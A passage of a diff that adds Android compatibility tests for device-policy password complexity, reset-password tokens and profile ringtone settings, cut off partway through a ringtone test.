+                    DPC_COMPONENT_NAME)).isEqualTo(PASSWORD_QUALITY_UNSPECIFIED);
+            assertThat(sDeviceState.dpc().devicePolicyManager().getRequiredPasswordComplexity())
+                    .isEqualTo(PASSWORD_COMPLEXITY_MEDIUM);
+        } finally {
+            removeAllPasswordRestrictions();
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordQuality_passwordComplexityAlreadySet_clearsPasswordComplexity() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setRequiredPasswordComplexity(
+                    PASSWORD_COMPLEXITY_MEDIUM);
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(DPC_COMPONENT_NAME,
+                    PASSWORD_QUALITY_COMPLEX);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getPasswordQuality(
+                    DPC_COMPONENT_NAME)).isEqualTo(PASSWORD_QUALITY_COMPLEX);
+            assertThat(sDeviceState.dpc().devicePolicyManager().getRequiredPasswordComplexity())
+                    .isEqualTo(PASSWORD_COMPLEXITY_NONE);
+        } finally {
+            removeAllPasswordRestrictions();
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    public void setRequiredPasswordComplexity_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setRequiredPasswordComplexity(
+                    PASSWORD_COMPLEXITY_MEDIUM);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getRequiredPasswordComplexity())
+                    .isEqualTo(PASSWORD_COMPLEXITY_MEDIUM);
+        } finally {
+            removeAllPasswordRestrictions();
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    public void setRequiredPasswordComplexity_low_passwordThatMeetsLowPasswordBandRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setRequiredPasswordComplexity(
+                    PASSWORD_COMPLEXITY_LOW);
+
+            assertPasswordSucceeds(NUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(NUMERIC_PASSWORD_LENGTH_3); // Password too short
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    public void setRequiredPasswordComplexity_medium_passwordThatMeetsMediumPasswordBandRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setRequiredPasswordComplexity(
+                    PASSWORD_COMPLEXITY_MEDIUM);
+
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordSucceeds(NUMERIC_PASSWORD_RANDOM_LENGTH_4);
+            assertPasswordFails(NUMERIC_PASSWORD_REPEATING_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    public void setRequiredPasswordComplexity_high_passwordThatMeetsHighPasswordBandRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setRequiredPasswordComplexity(
+                    PASSWORD_COMPLEXITY_HIGH);
+
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_8);
+            assertPasswordFails(NUMERIC_PASSWORD_LENGTH_6);
+            assertPasswordFails(ALPHABETIC_PASSWORD_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    public void getPasswordComplexity_passwordThatMeetsLowPasswordBand_lowPasswordComplexity() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // Set password that meets low password band
+            assertPasswordSucceeds(NUMERIC_PASSWORD_LENGTH_4);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getPasswordComplexity())
+                    .isEqualTo(PASSWORD_COMPLEXITY_LOW);
+        } finally {
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    public void getPasswordComplexity_passwordThatMeetsMediumPasswordBand_mediumPasswordComplexity() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // Set password that meets medium password band
+            assertPasswordSucceeds(NUMERIC_PASSWORD_LENGTH_6);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getPasswordComplexity())
+                    .isEqualTo(PASSWORD_COMPLEXITY_MEDIUM);
+        } finally {
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    public void getPasswordComplexity_passwordThatMeetsHighPasswordBand_highPasswordComplexity() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // Set password that meets high password band
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_8);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getPasswordComplexity())
+                    .isEqualTo(PASSWORD_COMPLEXITY_HIGH);
+        } finally {
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    public void clearResetPasswordToken_passwordTokenIsResetAndUnableToSetNewPassword() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().clearResetPasswordToken(DPC_COMPONENT_NAME);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().isResetPasswordTokenActive(
+                    DPC_COMPONENT_NAME)).isFalse();
+            assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                    DPC_COMPONENT_NAME, VALID_PASSWORD, TOKEN, /* flags = */ 0)).isFalse();
+        } finally {
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumLength_featureUnsupported_ignored() {
+        int valueBefore = sDeviceState.dpc().devicePolicyManager().getPasswordMinimumLength(
+                DPC_COMPONENT_NAME);
+
+        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(DPC_COMPONENT_NAME, 42);
+
+        assertWithMessage("getPasswordMinimumLength()")
+                .that(sDeviceState.dpc().devicePolicyManager()
+                        .getPasswordMinimumLength(DPC_COMPONENT_NAME))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumNumeric_ignored() {
+        int valueBefore = sDeviceState.dpc().devicePolicyManager().getPasswordMinimumNumeric(
+                DPC_COMPONENT_NAME);
+
+        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumNumeric(DPC_COMPONENT_NAME, 42);
+
+        assertWithMessage("getPasswordMinimumNumeric()")
+                .that(sDeviceState.dpc().devicePolicyManager().getPasswordMinimumNumeric(
+                        DPC_COMPONENT_NAME))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumLowerCase_ignored() {
+        int valueBefore = sDeviceState.dpc().devicePolicyManager().getPasswordMinimumLowerCase(
+                DPC_COMPONENT_NAME);
+
+        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLowerCase(DPC_COMPONENT_NAME,
+                42);
+
+        assertWithMessage("getPasswordMinimumLowerCase()")
+                .that(sDeviceState.dpc().devicePolicyManager().getPasswordMinimumLowerCase(
+                        DPC_COMPONENT_NAME))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumUpperCase_ignored() {
+        int valueBefore = sDeviceState.dpc().devicePolicyManager().getPasswordMinimumUpperCase(
+                DPC_COMPONENT_NAME);
+
+        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumUpperCase(DPC_COMPONENT_NAME,
+                42);
+
+        assertWithMessage("getPasswordMinimumUpperCase()")
+                .that(sDeviceState.dpc().devicePolicyManager().getPasswordMinimumUpperCase(
+                        DPC_COMPONENT_NAME))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumLetters_ignored() {
+        int valueBefore = sDeviceState.dpc().devicePolicyManager().getPasswordMinimumLetters(
+                DPC_COMPONENT_NAME);
+
+        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLetters(DPC_COMPONENT_NAME, 42);
+
+        assertWithMessage("getPasswordMinimumLetters()")
+                .that(sDeviceState.dpc().devicePolicyManager().getPasswordMinimumLetters(
+                        DPC_COMPONENT_NAME))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumSymbols_ignored() {
+        int valueBefore = sDeviceState.dpc().devicePolicyManager().getPasswordMinimumSymbols(
+                DPC_COMPONENT_NAME);
+
+        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumSymbols(DPC_COMPONENT_NAME, 42);
+
+        assertWithMessage("getPasswordMinimumSymbols()")
+                .that(sDeviceState.dpc().devicePolicyManager().getPasswordMinimumSymbols(
+                        DPC_COMPONENT_NAME))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumNonLetter_ignored() {
+        int valueBefore = sDeviceState.dpc().devicePolicyManager().getPasswordMinimumNonLetter(
+                DPC_COMPONENT_NAME);
+
+        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumNonLetter(DPC_COMPONENT_NAME,
+                42);
+
+        assertWithMessage("getPasswordMinimumNonLetter()")
+                .that(sDeviceState.dpc().devicePolicyManager().getPasswordMinimumNonLetter(
+                        DPC_COMPONENT_NAME))
+                .isEqualTo(valueBefore);
+    }
+
+    private void assertPasswordSucceeds(String password) {
+        assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                DPC_COMPONENT_NAME, password, TOKEN, /* flags = */ 0)).isTrue();
+        assertThat(sDeviceState.dpc().devicePolicyManager().isActivePasswordSufficient()).isTrue();
+    }
+
+    private void assertPasswordFails(String password) {
+        assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                DPC_COMPONENT_NAME, password, TOKEN, /* flags = */ 0)).isFalse();
+    }
+
+    private void removeAllPasswordRestrictions() {
+        sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                DPC_COMPONENT_NAME, PASSWORD_QUALITY_UNSPECIFIED);
+        sDeviceState.dpc().devicePolicyManager().setRequiredPasswordComplexity(
+                PASSWORD_COMPLEXITY_NONE);
+        setComplexPasswordRestrictions(/* minLength */ 0, /* minSymbols */ 0, /* minNonLetter */ 0,
+                /* minNumeric */ 0, /* minLetters */ 0, /* minLowerCase */ 0, /* minUpperCase */ 0);
+    }
+
+    private void setComplexPasswordRestrictions(int minLength, int minSymbols, int minNonLetter,
+            int minNumeric, int minLetters, int minLowerCase, int minUpperCase) {
+        RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+        dpm.setPasswordMinimumLength(DPC_COMPONENT_NAME, minLength);
+        dpm.setPasswordMinimumSymbols(DPC_COMPONENT_NAME, minSymbols);
+        dpm.setPasswordMinimumNonLetter(DPC_COMPONENT_NAME, minNonLetter);
+        dpm.setPasswordMinimumNumeric(DPC_COMPONENT_NAME, minNumeric);
+        dpm.setPasswordMinimumLetters(DPC_COMPONENT_NAME, minLetters);
+        dpm.setPasswordMinimumLowerCase(DPC_COMPONENT_NAME, minLowerCase);
+        dpm.setPasswordMinimumUpperCase(DPC_COMPONENT_NAME, minUpperCase);
+    }
+
+    private void removePasswordAndToken(byte[] token) {
+        sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                DPC_COMPONENT_NAME, /* password = */ null, token, /* flags = */ 0);
+        sDeviceState.dpc().devicePolicyManager().clearResetPasswordToken(DPC_COMPONENT_NAME);
+    }
+
+
+    // If ResetPasswordWithTokenTest for managed profile is executed before device owner and
+    // primary user profile owner tests, password reset token would have been disabled for the
+    // primary user, so executing ResetPasswordWithTokenTest on user 0 would fail. We allow this
+    // and do not fail the test in this case.
+    private boolean canSetResetPasswordToken(byte[] token) {
+        try {
+            sDeviceState.dpc().devicePolicyManager().setResetPasswordToken(
+                    DPC_COMPONENT_NAME, token);
+            return true;
+        } catch (SecurityException e) {
+            if (allowFailure(e)) {
+                return false;
+            } else {
+                throw e;
+            }
+        }
+    }
+
+    // Password token is disabled for the primary user, allow failure.
+    private static boolean allowFailure(SecurityException e) {
+        return !sDeviceState.dpc().devicePolicyManager().isManagedProfile(DPC_COMPONENT_NAME)
+                && e.getMessage().equals("Escrow token is disabled on the current user");
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/RingtoneTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/RingtoneTest.java
new file mode 100644
index 0000000..f49fd9a
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/RingtoneTest.java
@@ -0,0 +1,386 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.Manifest.permission.WRITE_SETTINGS;
+import static android.provider.Settings.Secure.SYNC_PARENT_SOUNDS;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.media.RingtoneManager;
+import android.net.Uri;
+import android.provider.Settings;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerProfileWithNoDeviceOwner;
+import com.android.bedstead.nene.TestApis;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+@Postsubmit(reason = "New tests")
+public final class RingtoneTest {
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+
+    private static final Uri RINGTONE_URI = Uri.parse("http://uri.does.not.matter");
+
+    // TODO(b/194509745): Parameterize on different user types
+    // TODO(b/188893663): Parameterize the different ringtone types (remove 2/3rds of this class)
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    public void getActualDefaultRingtoneUri_ringtone_matchesSettingsProviderRingtone() {
+        String defaultRingtone = Settings.System.getString(
+                sContext.getContentResolver(), Settings.System.RINGTONE);
+        Uri expectedUri = getUriWithoutUserId(defaultRingtone);
+        Uri actualRingtoneUri = getUriWithoutUserId(
+                RingtoneManager.getActualDefaultRingtoneUri(
+                        sContext, RingtoneManager.TYPE_RINGTONE));
+
+        assertThat(expectedUri).isEqualTo(actualRingtoneUri);
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    public void getActualDefaultRingtoneUri_notification_matchesSettingsProviderNotificationSound() {
+        String defaultRingtone = Settings.System.getString(
+                sContext.getContentResolver(), Settings.System.NOTIFICATION_SOUND);
+        Uri expectedUri = getUriWithoutUserId(defaultRingtone);
+        Uri actualRingtoneUri = getUriWithoutUserId(
+                RingtoneManager.getActualDefaultRingtoneUri(
+                        sContext, RingtoneManager.TYPE_NOTIFICATION));
+
+        assertThat(expectedUri).isEqualTo(actualRingtoneUri);
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    public void getActualDefaultRingtoneUri_alarm_matchesSettingsProviderAlarmAlert() {
+        String defaultRingtone = Settings.System.getString(
+                sContext.getContentResolver(), Settings.System.ALARM_ALERT);
+        Uri expectedUri = getUriWithoutUserId(defaultRingtone);
+        Uri actualRingtoneUri = getUriWithoutUserId(
+                RingtoneManager.getActualDefaultRingtoneUri(
+                        sContext, RingtoneManager.TYPE_ALARM));
+
+        assertThat(expectedUri).isEqualTo(actualRingtoneUri);
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void setActualDefaultRingtoneUri_ringtone_setsSyncParentSoundsToFalse() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_RINGTONE);
+
+        try {
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 1);
+
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE, RINGTONE_URI);
+
+            assertWithMessage("SYNC_PARENT_SOUNDS is false because a ringtone"
+                    + " has been set on the profile")
+                    .that(TestApis.settings().secure().getInt(
+                            SYNC_PARENT_SOUNDS)).isEqualTo(0);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void getActualDefaultRingtoneUri_ringtone_syncParentSoundsIsFalse_returnsSetRingtone() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_RINGTONE);
+        try {
+            // Calling setActualDefaultRingtoneUri will automatically switch SYNC_PARENT_SOUNDS to 0
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE, RINGTONE_URI);
+
+            assertThat(RingtoneManager.getActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE)).isEqualTo(RINGTONE_URI);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void getActualDefaultRingtoneUri_ringtone_syncParentSoundsIsTrue_returnsDefaultRingtone() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_RINGTONE);
+        try {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE, RINGTONE_URI);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 1);
+
+            assertThat(RingtoneManager.getActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE)).isEqualTo(originalUri);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void getActualDefaultRingtoneUri_ringtone_syncParentSoundsIsFalseAndUriWasPreviouslySet_returnsPreviouslySetRingtone() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_RINGTONE);
+        try {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE, RINGTONE_URI);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 1);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 0);
+
+            assertThat(RingtoneManager.getActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE)).isEqualTo(RINGTONE_URI);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_RINGTONE, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void setActualDefaultRingtoneUri_notification_setsSyncParentSoundsToFalse() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_NOTIFICATION);
+
+        try {
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 1);
+
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION, RINGTONE_URI);
+
+            assertWithMessage("SYNC_PARENT_SOUNDS is false because a ringtone has been set on the profile")
+                    .that(TestApis.settings().secure().getInt(
+                            SYNC_PARENT_SOUNDS)).isEqualTo(0);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void getActualDefaultRingtoneUri_notification_syncParentSoundsIsFalse_returnsSetRingtone() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_NOTIFICATION);
+        try {
+            // Calling setActualDefaultRingtoneUri will automatically switch SYNC_PARENT_SOUNDS to 0
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION, RINGTONE_URI);
+
+            assertThat(RingtoneManager.getActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION)).isEqualTo(RINGTONE_URI);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void getActualDefaultRingtoneUri_notification_syncParentSoundsIsTrue_returnsDefaultRingtone() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_NOTIFICATION);
+        try {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION, RINGTONE_URI);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 1);
+
+            assertThat(RingtoneManager.getActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION)).isEqualTo(originalUri);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void getActualDefaultRingtoneUri_notification_syncParentSoundsIsFalseAndUriWasPreviouslySet_returnsPreviouslySetRingtone() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_NOTIFICATION);
+        try {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION, RINGTONE_URI);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 1);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 0);
+
+            assertThat(RingtoneManager.getActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION)).isEqualTo(RINGTONE_URI);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_NOTIFICATION, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void setActualDefaultRingtoneUri_alarm_setsSyncParentSoundsToFalse() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_ALARM);
+
+        try {
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 1);
+
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_ALARM, RINGTONE_URI);
+
+            assertWithMessage(
+                    "SYNC_PARENT_SOUNDS is false because a ringtone has been set on the profile")
+                    .that(TestApis.settings().secure().getInt(
+                            SYNC_PARENT_SOUNDS)).isEqualTo(0);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_ALARM, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void getActualDefaultRingtoneUri_alarm_syncParentSoundsIsFalse_returnsSetRingtone() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_ALARM);
+        try {
+            // Calling setActualDefaultRingtoneUri will automatically switch SYNC_PARENT_SOUNDS to 0
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_ALARM, RINGTONE_URI);
+
+            assertThat(RingtoneManager.getActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_ALARM)).isEqualTo(RINGTONE_URI);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_ALARM, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void getActualDefaultRingtoneUri_alarm_syncParentSoundsIsTrue_returnsDefaultRingtone() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_ALARM);
+        try {
+            RingtoneManager.setActualDefaultRingtoneUri(
